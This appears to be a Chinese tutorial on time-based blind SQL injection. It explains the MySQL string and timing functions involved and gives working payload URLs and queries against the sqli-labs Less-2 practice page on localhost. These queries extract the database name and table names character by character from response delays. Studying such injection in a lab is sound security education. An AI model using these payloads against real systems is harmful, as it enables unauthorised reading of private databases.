基于时间的SQL盲注 - 延时注入
知识储备:
sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠
if(): i f 是 计算机编程语言一个关键字,分支结构的一种
mid(a,b,c): 从b开始,截取a字符串的c位
substr(a,b,c): 从b开始,截取字符串a的c长度
left(database(),1),database() : left(a,b)从左侧截取a的前b位
length(database())=8 : 判断长度
ord=ascii ascii(x)=100: 判断x的ascii值是否为100
在不使用sleep下查询数据所需要的时间:0.03秒
使用sleep可以使查询数据休眠指定时间
if(a,b,c):可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c
的
使用if与sleep结合使用:
达到延时数据显示,从而通过数据显示的时间判断数据对错!
使用靶场less-2来实现延时注入:
ocalhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(database()=%27test%27,0,5))
可以通过length()来判断数据库的长度
http://localhost/sqli-labs-master/Less-2/index.php?id=1 and sleep(if(length(database())=8,8,0))
mid()使用:
substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
substr()函数使用:
Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n ) string为要截取的字符串,n为长度。
通过以上函数可以来判断数据信息:
http://localhost/sqli-labs-master/Less-2/index.php?id=1 and sleep(if(mid(database(),1,1)=%27t%27,0,5))
推荐使用ASCII码
1.防止引号 ‘ “ 转义
2.方便以后工具的使用
使用ascii函数()
结合场景使用:
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);
select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);
评论区